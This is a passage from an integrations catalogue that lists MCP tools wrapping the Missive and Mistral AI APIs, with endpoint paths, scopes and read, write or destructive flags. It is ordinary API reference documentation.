missive_get_conversations_by_id (read) — Get a conversation via GET /conversations/{id}. Fetch a specific conversation using the conversation `id`. The returned conversation may have a different `id`. This happens when conversations get merged; passing an old conversation `id` will keep working, but the new conversation `id` will be returned. The same shape is returned by List conversations, Get a conversation, Update conversations, and Merge conversations. When the API token user is a guest in the conversation, only `id` and `last_activity_at` are returned. The `team` object embedded in conversation responses is a compact team object. For the full team shape, use List teams, Create team(s), or Update team(s). Items inside `users` and `assignees` on a conversation. **Managing conversation state (close, move, assign, etc.)** Use Update conversations to change conversation state without adding a post. Use Posts, Messages, or Drafts when you also want to create visible content in the conversation. Posts are useful for automations and integrations that should leave a visible trace showing what triggered the action. GET /api/v1/missive/conversations/{id}. Scopes: api. missive_get_conversations_by_id_comments (read) — List conversation comments via GET /conversations/{id}/comments. List comments in the conversation passed as `id`. Returns comments ordered from newest to oldest. To paginate, pass an `until` param equal to the `created_at` of the oldest comment returned in the previous page. The last page is reached when fewer comments than `limit` are returned or if all comments in a page have the same `created_at`. A page may return more comments than `limit`. **Managing conversation state (close, move, assign, etc.)** Use Update conversations to change conversation state without adding a post. Use Posts, Messages, or Drafts when you also want to create visible content in the conversation. Posts are useful for automations and integrations that should leave a visible trace showing what triggered the action. GET /api/v1/missive/conversations/{id}/comments. Scopes: api. missive_get_conversations_by_id_drafts (read) — List conversation drafts via GET /conversations/{id}/drafts. List draft messages in the conversation passed as `id`. Returns drafts ordered from newest to oldest. To paginate, pass an `until` param equal to the `delivered_at` of the oldest draft returned in the previous page. The last page is reached when fewer drafts than `limit` are returned or if all drafts in a page have the same `delivered_at`. A page may return more drafts than `limit`. **Managing conversation state (close, move, assign, etc.)** Use Update conversations to change conversation state without adding a post. Use Posts, Messages, or Drafts when you also want to create visible content in the conversation. Posts are useful for automations and integrations that should leave a visible trace showing what triggered the action. GET /api/v1/missive/conversations/{id}/drafts. Scopes: api. missive_get_conversations_by_id_messages (read) — List conversation messages via GET /conversations/{id}/messages. List messages in the conversation passed as `id`. Draft messages are excluded. Returns messages ordered from newest to oldest. To paginate, pass an `until` param equal to the `delivered_at` of the oldest message returned in the previous page. The last page is reached when fewer messages than `limit` are returned or if all messages in a page have the same `delivered_at`. A page may return more messages than `limit`. The same shape is returned by List conversation messages, List conversation drafts, List messages, and Get a Message. The `body` field is only included by Get a Message. Some keys are channel-specific (see notes below). For WhatsApp messages, the `id` in `from_field` and `to_fields` identifies authors and recipients by their **Business-Scoped User ID (BSUID)**, the identifier Meta uses to reference a WhatsApp user within your business, instead of the contact's phone number. For example, the `id` changes from `whatsapp:+14155551234` to `whatsapp:US.13491208655302741918`. If your integration relied on `from_field.id` or `to_fields[].id` being a phone number for WhatsApp, update it to use the BSUID. The `username` field holds the contact's WhatsApp username when they have set one, otherwise it falls back to their phone number. When the API token user is not related to the message (not the author, recipient, or watcher), sensitive fields such as `body`, `preview`, and recipient lists may be redacted. Returned inside the `attachments` array of messages, drafts, comments, posts, and responses. **Managing conversation state (close, move, assign, etc.)** Use Update conversations to change conversation state without adding a post. Use Posts, Messages, or Drafts when you also want to create visible content in the conversation. Posts are useful for automations and integrations that should leave a visible trace showing what triggered the action. GET /api/v1/missive/conversations/{id}/messages. Scopes: api. missive_get_conversations_by_id_posts (read) — List conversation posts via GET /conversations/{id}/posts. List posts in the conversation passed as `id`. Returns posts ordered from newest to oldest. To paginate, pass an `until` param equal to the `created_at` of the oldest post returned in the previous page. The last page is reached when fewer posts than `limit` are returned or if all posts in a page have the same `created_at`. A page may return more posts than `limit`. Returned by List conversation posts. See Create a post for the meaning of each field. **Managing conversation state (close, move, assign, etc.)** Use Update conversations to change conversation state without adding a post. Use Posts, Messages, or Drafts when you also want to create visible content in the conversation. Posts are useful for automations and integrations that should leave a visible trace showing what triggered the action. GET /api/v1/missive/conversations/{id}/posts. Scopes: api. missive_get_messages (read) — List messages via GET /messages. Fetch messages matching an email `Message-ID`. Message data includes headers, body and attachments in the same format as Get a message. Most of the time, only one message matches a given Message-ID, as required by email standards. However, non-compliant sender servers may send you multiple messages with the same Message-ID in which case this endpoint will return the latest 10. GET /api/v1/missive/messages. Scopes: api. missive_get_messages_by_id (read) — Get a Message via GET /messages/{id}. Fetch a specific message headers, body and attachments using the message `id`. To retrieve multiple messages in a single call, pass comma-separated message IDs: When fetching multiple messages with comma-separated IDs, the response returns an array of message objects under the `messages` key, in the same format as shown above. Inline images Inline images markup in the message `body` HTML contain no `src` attribute, instead they contain a `data-missive-attachment-id` attribute with the attachment `id`. The attachment and its URL are available in the GET response under the `attachments` key. GET /api/v1/missive/messages/{id}. Scopes: api. missive_get_organizations (read) — List organizations via GET /organizations. List organizations the authenticated user is part of. GET /api/v1/missive/organizations. Scopes: api. missive_get_responses (read) — List responses via GET /responses. List responses for the authenticated user. Inline images Inline images markup in the response `body` HTML contain no `src` attribute, instead they contain a `data-missive-attachment-id` attribute with the attachment `id`. The attachment and its URL are available in the GET response under the `attachments` key. The same shape is returned by List responses, Get a response, Create response(s), and Update response(s). GET /api/v1/missive/responses. Scopes: api. missive_get_responses_by_id (read) — Get a response via GET /responses/{id}. Fetch a specific response using the response `id`. GET /api/v1/missive/responses/{id}. Scopes: api. missive_get_shared_labels (read) — List shared labels via GET /shared_labels. List shared labels in organizations the authenticated user is part of and has access to. The same shape is returned by List shared labels, Create shared labels(s), and Update shared label(s). GET /api/v1/missive/shared_labels. Scopes: api. missive_get_tasks (read) — List tasks via GET /tasks. List tasks the authenticated user has access to. Results are ordered by last activity time (most recent first) and can be filtered by various criteria. Request example: Task endpoints let you create and manage tasks programmatically. Example usage Automatically create tasks from your project management tool or bug tracker. GET /api/v1/missive/tasks. Scopes: api. missive_get_tasks_by_id (read) — Get a task via GET /tasks/{id}. Get a single task by ID. Returns the task with full details including assignees and team information. The `assignees` array contains full user objects with `id`, `name`, `email`, and `avatar_url`. The `team` object contains full team information with `id`, `name`, and `organization`. Task endpoints let you create and manage tasks programmatically. Example usage Automatically create tasks from your project management tool or bug tracker. GET /api/v1/missive/tasks/{id}. Scopes: api. missive_get_teams (read) — List teams via GET /teams. List teams in organizations the authenticated user is part of and has access to. GET /api/v1/missive/teams. Scopes: api. missive_get_users (read) — List users via GET /users. List users in organizations the authenticated user is part of. User endpoints let you list users in your organization. User status (availability, away, out of office) is not available via the API. There are currently no endpoints to retrieve or update user status. GET /api/v1/missive/users. Scopes: api. missive_patch_contacts_by_ids (write) — Update contact(s) via PATCH /contacts/{ids}. A successful request will return the updated contacts with embedded `memberships` and `infos`. Contact `id` is required. See the Create contact(s) section for other attributes. When updating a contact, you may pass only attributes you want to update. In the example above, only the last name will be updated. The `infos` and `memberships` arrays are exceptions: when passed, you must include all items. Missing items will be deleted from the contact. To delete items, omit them from the array. Contact endpoints let you manage your contacts programmatically. Example usage Automatically sync contacts between Missive and your CRM. PATCH /api/v1/missive/contacts/{ids}. Scopes: api. missive_patch_conversations_by_id (write) — Update conversations via PATCH /conversations/{id}. Update one or more conversations without creating a post. Use this endpoint to close, reopen, move, assign, label, recolor, or rename conversations silently. System events can still appear in Missive. When the update changes shared labels, label change rules still run. To update multiple conversations in one request, pass comma-separated IDs: The request body must include a `conversations` array with exactly one object for each ID in the URL. Each object must include the matching `id`. If a conversation was merged, you can pass the old conversation `id`. The response returns the current conversation `id`. In bulk requests, do not pass two IDs that resolve to the same merged conversation. The response uses the same conversation object shape documented in Conversation properties. **Managing conversation state (close, move, assign, etc.)** Use Update conversations to change conversation state without adding a post. Use Posts, Messages, or Drafts when you also want to create visible content in the conversation. Posts are useful for automations and integrations that should leave a visible trace showing what triggered the action. PATCH /api/v1/missive/conversations/{id}. Scopes: api. missive_patch_responses_by_ids (write) — Update response(s) via PATCH /responses/{ids}. A successful request will return the updated responses. Response `id` is required. See the Create response(s) section for other attributes. When updating a response, you may pass only attributes you want to update. In the example above, only the title and body will be updated. When the `attachments` array is passed, you must pass all attachments you want to keep. Missing attachments will be removed from the response. Responses created by external integrations (such as WhatsApp templates) cannot be updated via this endpoint. PATCH /api/v1/missive/responses/{ids}. Scopes: api. missive_patch_shared_labels_by_ids (write) — Update shared label(s) via PATCH /shared_labels/{ids}. A successful request will return the updated shared labels. Attributes Shared label `id` is required. See the Create shared label(s) section for other attributes. You may pass only attributes you want to update. In the example above, the name and color will be updated. Basic users can update: * `name`: The name of the label * `color`: The color of the label as a hex color code (e.g. #f96885) * `parent`: The ID of the parent label Admin/owner users can additionally update: * `visibility`: Must be either 'delegates' or 'organization' * `share_with_organization`: Whether to share the label with the entire organization * `share_with_team`: The ID of the team to share the label with * `share_with_users`: An array of user IDs to share the label with PATCH /api/v1/missive/shared_labels/{ids}. Scopes: api. missive_patch_tasks_by_id (write) — Update a task via PATCH /tasks/{id}. Update an existing task's attributes. Task endpoints let you create and manage tasks programmatically. Example usage Automatically create tasks from your project management tool or bug tracker. PATCH /api/v1/missive/tasks/{id}. Scopes: api. missive_patch_teams_by_ids (write) — Update team(s) via PATCH /teams/{ids}. Update one or more teams. The API token must belong to an admin or owner of the organization. A successful request will return the updated teams. Team `id` is required. See the Create team(s) section for other attributes. You may pass only attributes you want to update. In the example above, only the name, emoji, and active members will be updated. The same shape is returned by List teams, Create team(s), and Update team(s). PATCH /api/v1/missive/teams/{ids}. Scopes: api. missive_post_analytics_reports (write) — Create analytics report via POST /analytics/reports. This id must then be included in a Get report request. Analytics endpoints let you fetch a report based on a selected period and optional filters such as team inbox, users, labels, etc. Two endpoints are involved due to the asynchronous nature of generating reports: one request to create the report and another to get the data shortly after. Analytics API endpoints require a Productive or Business plan. Filtering capabilities (teams, users, labels, accounts) require a Business plan. Example usage Automatically sync analytics data to your Business Intelligence tool. POST /api/v1/missive/analytics/reports. Scopes: api. missive_post_contacts (write) — Create contact(s) via POST /contacts. A successful request will return newly created contacts. Contact endpoints let you manage your contacts programmatically. Example usage Automatically sync contacts between Missive and your CRM. POST /api/v1/missive/contacts. Scopes: api. missive_post_conversations_by_id_merge (write, destructive) — Merge conversations via POST /conversations/{id}/merge. Merge the conversation passed as `:id` into the conversation passed as `target`. After merging, the source conversation (`:id`) is marked as replaced and all its messages, comments, and other entries become part of the target conversation. When conversations are swapped during the merge (e.g., when merging an organization conversation into a private conversation, or when the source has significantly more entries), the returned conversation `id` may differ from the one passed as `target`. The source conversation UUID is passed in the URL as `:id`. **Managing conversation state (close, move, assign, etc.)** Use Update conversations to change conversation state without adding a post. Use Posts, Messages, or Drafts when you also want to create visible content in the conversation. Posts are useful for automations and integrations that should leave a visible trace showing what triggered the action. POST /api/v1/missive/conversations/{id}/merge. Scopes: api. missive_post_drafts (write) — Create a draft via POST /drafts. The drafts endpoint lets you create email, SMS, WhatsApp and Missive Live Chat drafts that can either be sent immediately or edited and sent from the Missive app. You can create drafts in a new conversation or append them as a reply to an existing one. **This is the endpoint to use for sending emails.** To send immediately, include `send: true` in your request. To reply to an existing conversation, use the `conversation` or `references` parameters. **Example usage:** Create a new draft in a shared label named "Follow up" with a specific body every time someone fills out a form on your website. POST /api/v1/missive/drafts. Scopes: api. missive_post_hooks (write) — Create webhook via POST /hooks. Create a webhook subscription to receive notifications for specific events in Missive. This endpoint allows integration with services like Zapier, Relay, n8n, and others, or can be used directly for custom integrations. Under the hood, this endpoint creates a Missive rule with a webhook action - you can later view and edit these rules in your Missive Rules settings, just like any other rule you create manually. Example usage Automatically trigger workflows in external systems when new messages arrive or comments are added. POST /api/v1/missive/hooks. Scopes: api. missive_post_messages (write) — Create a message via POST /messages. Create an incoming message in a custom channel. Custom channels let users integrate message providers not built-in to Missive. This endpoint is only for **custom channels**. It creates incoming messages (simulating messages received from an external system). **To reply to an email or send a new email**, use the Drafts endpoint with `send: true` instead. POST /api/v1/missive/messages. Scopes: api. missive_post_posts (write) — Create a post via POST /posts. The response includes: * `conversation`: ID of the conversation the post was added to * `id`: ID of the the post (use this ID for deleting the post) Validations * Either `text`, `markdown` or `attachments` is required. * The `text` and `markdown` fields have a maximum length of 8000 characters. * The total JSON payload of your request must not exceed 10 MB. The posts endpoint lets you inject data in any Missive conversation and manage conversation state. You can create posts in new conversations or append them to existing ones. Posts are the recommended way to manage conversations (close, move to inbox, assign users, add labels) from integrations and automations. Each post leaves a visible trace in the conversation showing what triggered the action. Example usage: Each time someone pushes code to Github, create a post that lists the commits. When a support ticket is resolved in your system, create a post that closes the conversation. POST /api/v1/missive/posts. Scopes: api. missive_post_responses (write) — Create response(s) via POST /responses. A successful request will return newly created responses. POST /api/v1/missive/responses. Scopes: api. missive_post_shared_labels (write) — Create shared labels(s) via POST /shared_labels. A successful request will return newly created shared labels. `share_with_organization`, `share_with_team`, `share_with_users`\ Users affected by either of those params will have access to all the conversations in the label. POST /api/v1/missive/shared_labels. Scopes: api. missive_post_tasks (write) — Create a task via POST /tasks. Create a new task. Tasks can be standalone, conversations or created inside conversations. Tasks created via the API appear in the **Tasks** view only, not the Inbox. Creating a task does not auto-watch the parent conversation for the API token owner. When creating subtasks inside conversations, you may auto-watch the parent conversation. To disable this, go to **Settings > Preferences** and search for "watch" to find and disable the **auto-watch on task creation** option. Task endpoints let you create and manage tasks programmatically. Example usage Automatically create tasks from your project management tool or bug tracker. POST /api/v1/missive/tasks. Scopes: api. missive_post_teams (write) — Create team(s) via POST /teams. Create a new team in an organization. The API token must belong to an admin or owner of the organization. POST /api/v1/missive/teams. Scopes: api. ================================================================================ ## Mistral AI URL: https://www.agenticfabriq.com/integrations/mistral Section: Integrated Tools Mistral AI — 281 MCP tools Provider key: mistral. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. mistral_delete_v1_admin_api_keys_by_key_id (write, destructive) — Users api admin api keys delete api key via DELETE /v1/admin/api-keys/{key_id} DELETE /api/v1/mistral/v1/admin/api-keys/{key_id}. Scopes: api. mistral_delete_v1_admin_user_groups_by_group_uuid (write, destructive) — Users api admin user groups delete user group via DELETE /v1/admin/user-groups/{group_uuid} DELETE /api/v1/mistral/v1/admin/user-groups/{group_uuid}. Scopes: api. mistral_delete_v1_admin_user_groups_by_group_uuid_members (write, destructive) — Users api admin user groups remove users from group via DELETE /v1/admin/user-groups/{group_uuid}/members DELETE /api/v1/mistral/v1/admin/user-groups/{group_uuid}/members. Scopes: api. mistral_delete_v1_admin_user_groups_by_group_uuid_workspaces_by_workspace_uuid (write, destructive) — Users admin user groups remove group from workspace via DELETE /v1/admin/user-groups/{group_uuid}/workspaces/{workspace_uuid} DELETE /api/v1/mistral/v1/admin/user-groups/{group_uuid}/workspaces/{workspace_uuid}. Scopes: api. mistral_delete_v1_admin_users_by_user_id (write, destructive) — Users api admin users delete user via DELETE /v1/admin/users/{user_id} DELETE /api/v1/mistral/v1/admin/users/{user_id}. Scopes: api. mistral_delete_v1_admin_users_invite_by_invite_uuid (write, destructive) — Users api admin users delete invite via DELETE /v1/admin/users-invite/{invite_uuid} DELETE /api/v1/mistral/v1/admin/users-invite/{invite_uuid}. Scopes: api. mistral_delete_v1_admin_workspaces_by_workspace_uuid (write, destructive) — Users api admin workspaces delete workspaces via DELETE /v1/admin/workspaces/{workspace_uuid} DELETE /api/v1/mistral/v1/admin/workspaces/{workspace_uuid}. Scopes: api. mistral_delete_v1_admin_workspaces_by_workspace_uuid_remove_users (write, destructive) — Users api admin workspaces remove users workspaces via DELETE /v1/admin/workspaces/{workspace_uuid}/remove-users DELETE /api/v1/mistral/v1/admin/workspaces/{workspace_uuid}/remove-users. Scopes: api. mistral_delete_v1_agents_by_agent_id (write, destructive) — Agents api v1 agents delete via DELETE /v1/agents/{agent_id} DELETE /api/v1/mistral/v1/agents/{agent_id}. Scopes: api. mistral_delete_v1_agents_by_agent_id_aliases (write, destructive) — Agents api v1 agents delete alias via DELETE /v1/agents/{agent_id}/aliases DELETE /api/v1/mistral/v1/agents/{agent_id}/aliases. Scopes: api. mistral_delete_v1_audio_voices_by_voice_id (write, destructive) — Delete voice v1 audio voices voice id delete via DELETE /v1/audio/voices/{voice_id} DELETE /api/v1/mistral/v1/audio/voices/{voice_id}. Scopes: api. mistral_delete_v1_batch_jobs_by_job_id (write, destructive) — Jobs api routes batch delete batch job via DELETE /v1/batch/jobs/{job_id} DELETE /api/v1/mistral/v1/batch/jobs/{job_id}. Scopes: api. mistral_delete_v1_connectors_by_connector_id (write, destructive) — Connector delete v1 via DELETE /v1/connectors/{connector_id} DELETE /api/v1/mistral/v1/connectors/{connector_id}. Scopes: api. mistral_delete_v1_connectors_by_connector_id_or_name_organization_credentials_by_credentials_name (write, destructive) — Connector delete organization credentials v1 via DELETE /v1/connectors/{connector_id_or_name}/organization/credentials/{credentials_name} DELETE /api/v1/mistral/v1/connectors/{connector_id_or_name}/organization/credentials/{credentials_name}. Scopes: api. mistral_delete_v1_connectors_by_connector_id_or_name_user_credentials (write, destructive) — Connector delete all user credentials v1 via DELETE /v1/connectors/{connector_id_or_name}/user/credentials DELETE /api/v1/mistral/v1/connectors/{connector_id_or_name}/user/credentials. Scopes: api. mistral_delete_v1_connectors_by_connector_id_or_name_user_credentials_by_credentials_name (write, destructive) — Connector delete user credentials v1 via DELETE /v1/connectors/{connector_id_or_name}/user/credentials/{credentials_name} DELETE /api/v1/mistral/v1/connectors/{connector_id_or_name}/user/credentials/{credentials_name}. Scopes: api. mistral_delete_v1_connectors_by_connector_id_or_name_workspace_credentials_by_credentials_name (write, destructive) — Connector delete workspace credentials v1 via DELETE /v1/connectors/{connector_id_or_name}/workspace/credentials/{credentials_name} DELETE /api/v1/mistral/v1/connectors/{connector_id_or_name}/workspace/credentials/{credentials_name}. Scopes: api. mistral_delete_v1_connectors_by_connector_id_share (write, destructive) — Connector unshare v1 via DELETE /v1/connectors/{connector_id}/share DELETE /api/v1/mistral/v1/connectors/{connector_id}/share. Scopes: api. mistral_delete_v1_conversations_by_conversation_id (write, destructive) — Agents api v1 conversations delete via DELETE /v1/conversations/{conversation_id} DELETE /api/v1/mistral/v1/conversations/{conversation_id}. Scopes: api. mistral_delete_v1_files_by_file_id (write, destructive) — Files api routes delete file via DELETE /v1/files/{file_id} DELETE /api/v1/mistral/v1/files/{file_id}. Scopes: api. mistral_delete_v1_fine_tuning_models_by_model_id_archive (write, destructive) — Jobs api routes fine tuning unarchive fine tuned model via DELETE /v1/fine_tuning/models/{model_id}/archive DELETE /api/v1/mistral/v1/fine_tuning/models/{model_id}/archive. Scopes: api. mistral_delete_v1_libraries_by_library_id (write, destructive) — Libraries delete v1 via DELETE /v1/libraries/{library_id} DELETE /api/v1/mistral/v1/libraries/{library_id}. Scopes: api. mistral_delete_v1_libraries_by_library_id_documents_by_document_id (write, destructive) — Libraries documents delete v1 via DELETE /v1/libraries/{library_id}/documents/{document_id} DELETE /api/v1/mistral/v1/libraries/{library_id}/documents/{document_id}. Scopes: api. mistral_delete_v1_libraries_by_library_id_share (write, destructive) — Libraries share delete v1 via DELETE /v1/libraries/{library_id}/share DELETE /api/v1/mistral/v1/libraries/{library_id}/share. Scopes: api. mistral_delete_v1_models_by_model_id (write, destructive) — Delete model v1 models model id delete via DELETE /v1/models/{model_id} DELETE /api/v1/mistral/v1/models/{model_id}. Scopes: api. mistral_delete_v1_observability_campaigns_by_campaign_id (write, destructive) — Delete campaign v1 observability campaigns campaign id delete via DELETE /v1/observability/campaigns/{campaign_id} DELETE /api/v1/mistral/v1/observability/campaigns/{campaign_id}. Scopes: api. mistral_delete_v1_observability_dataset_records_by_dataset_record_id (write, destructive) — Delete dataset record v1 observability dataset records dataset record id delete via DELETE /v1/observability/dataset-records/{dataset_record_id} DELETE /api/v1/mistral/v1/observability/dataset-records/{dataset_record_id}. Scopes: api. mistral_delete_v1_observability_datasets_by_dataset_id (write, destructive) — Delete dataset v1 observability datasets dataset id delete via DELETE /v1/observability/datasets/{dataset_id} DELETE /api/v1/mistral/v1/observability/datasets/{dataset_id}. Scopes: api. mistral_delete_v1_observability_judges_by_judge_id (write, destructive) — Delete judge v1 observability judges judge id delete via DELETE /v1/observability/judges/{judge_id} DELETE /api/v1/mistral/v1/observability/judges/{judge_id}. Scopes: api. mistral_delete_v1_rag_deployments_by_deployment_id (write, destructive) — Unregister deployment v1 rag deployments deployment id delete via DELETE /v1/rag/deployments/{deployment_id} DELETE /api/v1/mistral/v1/rag/deployments/{deployment_id}. Scopes: api. mistral_delete_v1_workflows_deployments_by_name (write, destructive) — Delete deployment v1 workflows deployments name delete via DELETE /v1/workflows/deployments/{name} DELETE /api/v1/mistral/v1/workflows/deployments/{name}. Scopes: api. mistral_delete_v1_workflows_schedules_by_schedule_id (write, destructive) — Unschedule workflow v1 workflows schedules schedule id delete via DELETE /v1/workflows/schedules/{schedule_id} DELETE /api/v1/mistral/v1/workflows/schedules/{schedule_id}. Scopes: api. mistral_delete_v2_prompts_by_prompt_id (write, destructive) — Prompts delete via DELETE /v2/prompts/{prompt_id} DELETE /api/v1/mistral/v2/prompts/{prompt_id}. Scopes: api. mistral_delete_v2_skills_by_skill_id (write, destructive) — Skills delete via DELETE /v2/skills/{skill_id} DELETE /api/v1/mistral/v2/skills/{skill_id}. Scopes: api. mistral_get_v1_admin_analytics_vibe_code_usage_by_organization (read) — Get organization stats v1 admin analytics vibe code usage by organization via GET /v1/admin/analytics/vibe/code/usage/by_organization GET /api/v1/mistral/v1/admin/analytics/vibe/code/usage/by_organization. Scopes: api. mistral_get_v1_admin_analytics_vibe_code_usage_by_workspace (read) — Get workspace stats v1 admin analytics vibe code usage by workspace via GET /v1/admin/analytics/vibe/code/usage/by_workspace GET /api/v1/mistral/v1/admin/analytics/vibe/code/usage/by_workspace. Scopes: api. mistral_get_v1_admin_analytics_vibe_work_usage_by_agent_stats (read) — Get by agent stats v1 admin analytics vibe work usage by agent stats via GET /v1/admin/analytics/vibe/work/usage/by_agent_stats GET /api/v1/mistral/v1/admin/analytics/vibe/work/usage/by_agent_stats. Scopes: api. mistral_get_v1_admin_analytics_vibe_work_usage_by_time_stats (read) — Get by time stats v1 admin analytics vibe work usage by time stats via GET /v1/admin/analytics/vibe/work/usage/by_time_stats GET /api/v1/mistral/v1/admin/analytics/vibe/work/usage/by_time_stats. Scopes: api. mistral_get_v1_admin_analytics_vibe_work_usage_by_user_stats (read) — Get by user stats v1 admin analytics vibe work usage by user stats via GET /v1/admin/analytics/vibe/work/usage/by_user_stats GET /api/v1/mistral/v1/admin/analytics/vibe/work/usage/by_user_stats. Scopes: api. mistral_get_v1_admin_api_keys (read) — Users api admin api keys get api keys via GET /v1/admin/api-keys GET /api/v1/mistral/v1/admin/api-keys. Scopes: api. mistral_get_v1_admin_audit_logs (read) — Users api admin audit logs get audit logs via GET /v1/admin/audit-logs GET /api/v1/mistral/v1/admin/audit-logs. Scopes: api. mistral_get_v1_admin_rate_limit (read) — Users api admin rate limits get rate limits via GET /v1/admin/rate-limit GET /api/v1/mistral/v1/admin/rate-limit. Scopes: api. mistral_get_v1_admin_roles (read) — Users api admin roles get roles via GET /v1/admin/roles GET /api/v1/mistral/v1/admin/roles. Scopes: api. mistral_get_v1_admin_scim_sync_by_run_id (read) — Users api admin scim sync get scim sync run via GET /v1/admin/scim/sync/{run_id} GET /api/v1/mistral/v1/admin/scim/sync/{run_id}. Scopes: api. mistral_get_v1_admin_spend_limit (read) — Users api admin spend limits get spend limits via GET /v1/admin/spend-limit GET /api/v1/mistral/v1/admin/spend-limit. Scopes: api. mistral_get_v1_admin_usage (read) — Users api admin usage get usage via GET /v1/admin/usage GET /api/v1/mistral/v1/admin/usage. Scopes: api. mistral_get_v1_admin_user_groups (read) — Users api admin user groups get user groups via GET /v1/admin/user-groups GET /api/v1/mistral/v1/admin/user-groups. Scopes: api. mistral_get_v1_admin_user_groups_by_group_uuid (read) — Users api admin user groups get user group via GET /v1/admin/user-groups/{group_uuid} GET /api/v1/mistral/v1/admin/user-groups/{group_uuid}. Scopes: api. mistral_get_v1_admin_user_groups_by_group_uuid_members (read) — Users api admin user groups get user group members via GET /v1/admin/user-groups/{group_uuid}/members GET /api/v1/mistral/v1/admin/user-groups/{group_uuid}/members. Scopes: api. mistral_get_v1_admin_user_groups_by_group_uuid_nested (read) — Users api admin user groups get nested groups via GET /v1/admin/user-groups/{group_uuid}/nested GET /api/v1/mistral/v1/admin/user-groups/{group_uuid}/nested. Scopes: api. mistral_get_v1_admin_user_groups_by_group_uuid_workspaces (read) — Users admin user groups get group workspace assignments via GET /v1/admin/user-groups/{group_uuid}/workspaces GET /api/v1/mistral/v1/admin/user-groups/{group_uuid}/workspaces. Scopes: api. mistral_get_v1_admin_users (read) — Users api admin users get users via GET /v1/admin/users GET /api/v1/mistral/v1/admin/users. Scopes: api. mistral_get_v1_admin_users_by_user_id (read) — Users api admin users get user via GET /v1/admin/users/{user_id} GET /api/v1/mistral/v1/admin/users/{user_id}. Scopes: api. mistral_get_v1_admin_users_invite (read) — Users api admin users get invite via GET /v1/admin/users-invite GET /api/v1/mistral/v1/admin/users-invite. Scopes: api. mistral_get_v1_admin_workspaces (read) — Users api admin workspaces get workspaces via GET /v1/admin/workspaces GET /api/v1/mistral/v1/admin/workspaces. Scopes: api. mistral_get_v1_agents (read) — Agents api v1 agents list via GET /v1/agents GET /api/v1/mistral/v1/agents. Scopes: api. mistral_get_v1_agents_by_agent_id (read) — Agents api v1 agents get via GET /v1/agents/{agent_id} GET /api/v1/mistral/v1/agents/{agent_id}. Scopes: api. mistral_get_v1_agents_by_agent_id_aliases (read) — Agents api v1 agents list version aliases via GET /v1/agents/{agent_id}/aliases GET /api/v1/mistral/v1/agents/{agent_id}/aliases. Scopes: api. mistral_get_v1_agents_by_agent_id_versions (read) — Agents api v1 agents list versions via GET /v1/agents/{agent_id}/versions GET /api/v1/mistral/v1/agents/{agent_id}/versions. Scopes: api. mistral_get_v1_agents_by_agent_id_versions_by_version (read) — Agents api v1 agents get version via GET /v1/agents/{agent_id}/versions/{version} GET /api/v1/mistral/v1/agents/{agent_id}/versions/{version}. Scopes: api. mistral_get_v1_agents_pages (read) — Agents api v1 agents list pages via GET /v1/agents/pages GET /api/v1/mistral/v1/agents/pages. Scopes: api. mistral_get_v1_audio_voices (read) — List voices v1 audio voices get via GET /v1/audio/voices GET /api/v1/mistral/v1/audio/voices. Scopes: api. mistral_get_v1_audio_voices_by_voice_id (read) — Get voice v1 audio voices voice id get via GET /v1/audio/voices/{voice_id} GET /api/v1/mistral/v1/audio/voices/{voice_id}. Scopes: api. mistral_get_v1_batch_jobs (read) — Jobs api routes batch get batch jobs via GET /v1/batch/jobs GET /api/v1/mistral/v1/batch/jobs. Scopes: api. mistral_get_v1_batch_jobs_by_job_id (read) — Jobs api routes batch get batch job via GET /v1/batch/jobs/{job_id} GET /api/v1/mistral/v1/batch/jobs/{job_id}. Scopes: api. mistral_get_v1_connectors (read) — Connector list v1 via GET /v1/connectors GET /api/v1/mistral/v1/connectors. Scopes: api. mistral_get_v1_connectors_by_connector_id_or_name (read) — Connector get v1 via GET /v1/connectors/{connector_id_or_name} GET /api/v1/mistral/v1/connectors/{connector_id_or_name}. Scopes: api. mistral_get_v1_connectors_by_connector_id_or_name_auth_url (read) — Connector get auth url v1 via GET /v1/connectors/{connector_id_or_name}/auth_url GET /api/v1/mistral/v1/connectors/{connector_id_or_name}/auth_url. Scopes: api. mistral_get_v1_connectors_by_connector_id_or_name_authentication_methods (read) — Connector get authentication methods v1 via GET /v1/connectors/{connector_id_or_name}/authentication_methods GET /api/v1/mistral/v1/connectors/{connector_id_or_name}/authentication_methods. Scopes: api. mistral_get_v1_connectors_by_connector_id_or_name_organization_credentials (read) — Connector list organization credentials v1 via GET /v1/connectors/{connector_id_or_name}/organization/credentials GET /api/v1/mistral/v1/connectors/{connector_id_or_name}/organization/credentials. Scopes: api. mistral_get_v1_connectors_by_connector_id_or_name_tools (read) — Connector list tools v1 via GET /v1/connectors/{connector_id_or_name}/tools GET /api/v1/mistral/v1/connectors/{connector_id_or_name}/tools. Scopes: api. mistral_get_v1_connectors_by_connector_id_or_name_user_credentials (read) — Connector list user credentials v1 via GET /v1/connectors/{connector_id_or_name}/user/credentials GET /api/v1/mistral/v1/connectors/{connector_id_or_name}/user/credentials. Scopes: api. mistral_get_v1_connectors_by_connector_id_or_name_workspace_credentials (read) — Connector list workspace credentials v1 via GET /v1/connectors/{connector_id_or_name}/workspace/credentials GET /api/v1/mistral/v1/connectors/{connector_id_or_name}/workspace/credentials. Scopes: api. mistral_get_v1_conversations (read) — Agents api v1 conversations list via GET /v1/conversations GET /api/v1/mistral/v1/conversations. Scopes: api. mistral_get_v1_conversations_by_conversation_id (read) — Agents api v1 conversations get via GET /v1/conversations/{conversation_id} GET /api/v1/mistral/v1/conversations/{conversation_id}. Scopes: api. mistral_get_v1_conversations_by_conversation_id_history (read) — Agents api v1 conversations history via GET /v1/conversations/{conversation_id}/history GET /api/v1/mistral/v1/conversations/{conversation_id}/history. Scopes: api. mistral_get_v1_conversations_by_conversation_id_messages (read) — Agents api v1 conversations messages via GET /v1/conversations/{conversation_id}/messages GET /api/v1/mistral/v1/conversations/{conversation_id}/messages. Scopes: api. mistral_get_v1_files (read) — Files api routes list files via GET /v1/files GET /api/v1/mistral/v1/files. Scopes: api. mistral_get_v1_files_by_file_id (read) — Files api routes retrieve file via GET /v1/files/{file_id} GET /api/v1/mistral/v1/files/{file_id}. Scopes: api. mistral_get_v1_files_by_file_id_url (read) — Files api routes 